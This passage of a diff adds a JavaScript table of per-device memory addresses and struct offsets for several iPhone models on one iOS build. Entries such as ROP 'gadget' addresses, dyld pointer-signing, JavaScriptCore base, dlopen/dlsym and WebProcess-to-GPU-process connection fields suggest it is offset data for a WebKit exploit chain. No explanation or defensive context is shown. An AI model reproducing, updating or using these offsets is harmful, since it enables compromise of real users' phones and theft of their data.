CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257f2fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x269eb0020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone16,1_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x2586dae60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26ad8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone16,2_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x2586dae60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26ad8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,1_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fc3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26a66c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,2_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fc3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26a66c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,3_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 